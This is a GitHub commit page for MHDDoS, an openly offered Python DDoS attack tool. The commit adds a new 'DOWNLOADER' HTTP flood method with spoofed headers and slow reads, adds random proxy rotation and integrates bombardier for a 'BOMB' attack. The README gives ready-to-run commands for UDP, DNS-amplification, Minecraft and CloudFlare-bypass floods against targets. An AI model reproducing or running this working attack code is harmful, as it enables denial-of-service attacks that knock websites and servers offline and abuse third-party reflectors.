Skip to content

Commit

Permalink
fixed layer4, added proxy type 6 from random selection
Browse files Browse the repository at this point in the history
  • Loading branch information
MHProDev committed Mar 6, 2022
1 parent f673825 commit 910427d
Show file tree
Hide file tree
Showing 3 changed files with 80 additions and 35 deletions.
26 changes: 13 additions & 13 deletions BOMBARDIER.md → .github/BOMBARDIER.md
Original file line number Diff line number Diff line change
@@ -1,13 +1,13 @@
# Bombardier with proxy
Adopted from [github.com/mariotrucco/bombardier@78-add-proxy-support](github.com/mariotrucco/bombardier@78-add-proxy-support)

## Installation
```shell script
mkdir bombardier_tmp
cd bombardier_tmp
go mod init bombardier_tmp
go mod edit -replace github.com/codesenberg/bombardier=github.com/mariotrucco/bombardier@78-add-proxy-support
go get github.com/codesenberg/bombardier
cd ..
rm -r bombardier_tmp
```
# Bombardier with proxy
Adopted from github.com/mariotrucco/bombardier@78-add-proxy-support

## Installation
```shell script
mkdir bombardier_tmp
cd bombardier_tmp
go mod init bombardier_tmp
go mod edit -replace github.com/codesenberg/bombardier=github.com/mariotrucco/bombardier@78-add-proxy-support
go get github.com/codesenberg/bombardier
cd ..
rm -r bombardier_tmp
```
43 changes: 25 additions & 18 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
<p align="center"><img src="https://cdn.discordapp.com/attachments/938175699326484490/948263435412598864/unknown_2.png" width="400px" height="150px" alt="aventium softworks"></p>

<h1 align="center">MHDDoS - DDoS Attack Script With 40 Methods</h1>
<h1 align="center">MHDDoS - DDoS Attack Script With 43 Methods</h1>
<em><h5 align="center">(Programming Language - Python 3)</h5></em>

<p align="center">
Expand Down Expand Up @@ -39,7 +39,7 @@
* <img src="https://techcrunch.com/wp-content/uploads/2019/06/J2LlHqT3qJl0bG9Alpgc-1-730x438.png?w=730" width="16" height="16" alt="CloudFlare"> CFB | CloudFlare Bypass
* <img src="https://techcrunch.com/wp-content/uploads/2019/06/J2LlHqT3qJl0bG9Alpgc-1-730x438.png?w=730" width="16" height="16" alt="CloudFlare UnderAttack Mode"> CFBUAM | CloudFlare Under Attack Mode Bypass
* <img src="http://iclouddnsbypass.com/wp-content/uploads/2015/02/iCloudDNSBypassServer.ico" width="16" height="16" alt="bypass"> BYPASS | Bypass Normal AntiDDoS
* <img src="https://cdn-icons-png.flaticon.com/512/905/905568.png" width="16" height="16" alt="bypass"> <a href="BOMBARDIER.md">BOMB</a> | Bypass with [codesenberg/bombardier
* <img src="https://cdn-icons-png.flaticon.com/512/905/905568.png" width="16" height="16" alt="bypass"> BOMB | Bypass with codesenberg/bombardier


* 🧨 Layer4:
Expand Down Expand Up @@ -95,9 +95,8 @@ You can download it from [GitHub Releases](https://github.com/MHProDev/MHDDoS/re
* [psutil](https://github.com/giampaolo/psutil)
* [dnspython](https://github.com/rthalley/dnspython)
* [yarl](https://github.com/aio-libs/yarl)
* [bombardier](https://github.com/mariotrucco/bombardier@78-add-proxy-support) (Optional)
---
Optional
* [bombardier with proxy](BOMBARDIER.md)

**Videos**

Expand All @@ -120,13 +119,15 @@ pip install -r requirements.txt


## Launch Script
* Proxy Types:

| Proxy Type | Value |
| ----------------- | -------- |
| All Proxy | 0 |
| HTTP | 1 |
| SOCKS4 | 4 |
| SOCKS5 | 5 |
| Proxy Type | Value |
|------------|-------|
| All Proxy | 0 |
| HTTP | 1 |
| SOCKS4 | 4 |
| SOCKS5 | 5 |
| RANDOM | 6 |

* Layer7 (Website):
```shell script
Expand All @@ -135,21 +136,27 @@ pip install -r requirements.txt
python start.py bypass https://example.com 5 101 socks5.txt 100 3600
# Running bomb attack from 50 threads (be careful must be < 300)
# with all proxies (0), 100 requests per proxy (connection), for 3600 seconds
python start.py bomb https://example.com 0 50 proxy.txt 100 3600
python start.py bypass https://example.com 5 101 socks5.txt 100 3600
```

* Layer4 (Server/Home):
```shell script
# Running udp attack from 100 threads,
# with socks 5, 100 requests per proxy (connection), for 3600 seconds
python start.py udp 1.1.1.1:53 100 3600 socks5.txt 5
python start.py dns 1.1.1.1:53 100 3600 socks5.txt 5 dns.txt
# Running udp attack from 1 threads, for 3600 seconds
python start.py udp 1.1.1.1:53 1 3600
# Running dns attack from 100 threads, for 3600 seconds
# with reflector servers from dns.txt, for 3600 seconds
python start.py dns 1.1.1.1:53 100 3600 dns.txt
# Running dns attack from 1000 threads
# with socks 5, for 3600 seconds
python start.py minecraft 1.1.1.1:53 1000 3600 5 socks5.txt
```

* Debug Mode (L4/L7):
* Debug Mode (Log Attack status):
```shell script
python start.py bypass https://example.com 5 101 socks5.txt 100 3600 true
python start.py udp 1.1.1.1:53 100 3600 socks5.txt 5
python start.py bypass https://example.com 5 1000 socks5.txt 100 100 true
python start.py udp 1.1.1.1:53 1 100 true
python start.py dns 1.1.1.1:53 1 100 dns.txt true
python start.py minecraft 1.1.1.1:53 1 100 5 socks5.txt true
```

* Tools/Help:
Expand Down
46 changes: 42 additions & 4 deletions start.py
Original file line number Diff line number Diff line change
Expand Up @@ -78,7 +78,7 @@ class Methods:
LAYER7_METHODS: Set[str] = {
"CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
"NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
"APACHE", "XMLRPC", "BOT", "BOMB"
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER"
}

LAYER4_METHODS: Set[str] = {
Expand Down Expand Up @@ -731,6 +731,31 @@ def DYN(self):
except Exception:
s.close()

def DOWNLOADER(self):
global bytes_sent, REQUESTS_SENT
payload: str | bytes = self._payload
payload += "Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6),
self._target.authority)
payload += self.randHeadercontent
payload += self.SpoofIP
payload = str.encode(f"{payload}\r\n")
try:
with self.open_connection() as s:
for _ in range(self._rpc):
if s.send(payload):
REQUESTS_SENT += 1
bytes_sent += len(payload)
while 1:
sleep(.01)
data = s.recv(1)
if not data:
break
s.send(b'0')
bytes_sent += 1

except Exception:
s.close()

def BYPASS(self):
global REQUESTS_SENT, bytes_sent
pro = None
Expand Down Expand Up @@ -854,12 +879,15 @@ def select(self, name: str) -> None:
self._defaultpayload +
"Host: %s\r\n\r\n" % self._target.authority).encode()
if name == "EVEN": self.SENT_FLOOD = self.EVEN
if name == "DOWNLOADER": self.SENT_FLOOD = self.DOWNLOADER
if name == "BOMB": self.SENT_FLOOD = self.BOMB

def BOMB(self):
pro = randchoice(self._proxies)

run([
f'{Path.home() / "go/bin/bombardier"}',
f'{bombardier_path}',
f'--connections={self._rpc}',
'--http2',
'--method=GET',
Expand Down Expand Up @@ -1110,7 +1138,7 @@ def stop():
@staticmethod
def usage():
print((
'* MHDDoS - DDoS Attack Script With 40 Methods\n'
'* MHDDoS - DDoS Attack Script With %d Methods\n'
'Note: If the Proxy list is empty, the attack will run without proxies\n'
' If the Proxy file doesn\'t exist, the script will download proxies and check them.\n'
' Proxy Type 0 = All in config.json\n'
Expand All @@ -1137,7 +1165,8 @@ def usage():
' L4 Proxied: python3 %s <method> <ip:port> <threads> <duration> <socks_type> <proxylist>\n'
' L4 Amplification: python3 %s <method> <ip:port> <threads> <duration> <reflector file (only use with'
' Amplification)>\n') %
(", ".join(Methods.LAYER4_METHODS), len(Methods.LAYER4_METHODS),
(len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
", ".join(Methods.LAYER4_METHODS), len(Methods.LAYER4_METHODS),
", ".join(Methods.LAYER7_METHODS), len(Methods.LAYER7_METHODS),
", ".join(ToolsConsole.METHODS), len(ToolsConsole.METHODS),
", ".join(["TOOLS", "HELP", "STOP"]), 3,
Expand Down Expand Up @@ -1253,8 +1282,18 @@ def handleProxyList(con, proxy_li, proxy_ty):
argv[5].strip())
useragent_li = Path(__dir__ / "files/useragent.txt")
referers_li = Path(__dir__ / "files/referers.txt")
bombardier_path = Path(__dir__ / "go/bin/bombardier")
proxies: Any = set()

if method == "BOMB":
assert (
bombardier_path.exists()
or bombardier_path.with_suffix('.exe').exists()
), (
"Install bombardier: "
"https://github.com/MHProDev/MHDDoS/tree/main/.github/BOMBARDIER.md"
)

if len(argv) == 9:
logger.setLevel("DEBUG")

Expand Down Expand Up @@ -1307,7 +1346,6 @@ def handleProxyList(con, proxy_li, proxy_ty):
logger.warning("Port Not Selected, Set To Default: 80")
port = 80


if len(argv) >= 6:
argfive = argv[5].strip()
if argfive:
Expand Down

0 comments on commit 910427d

Please sign in to comment.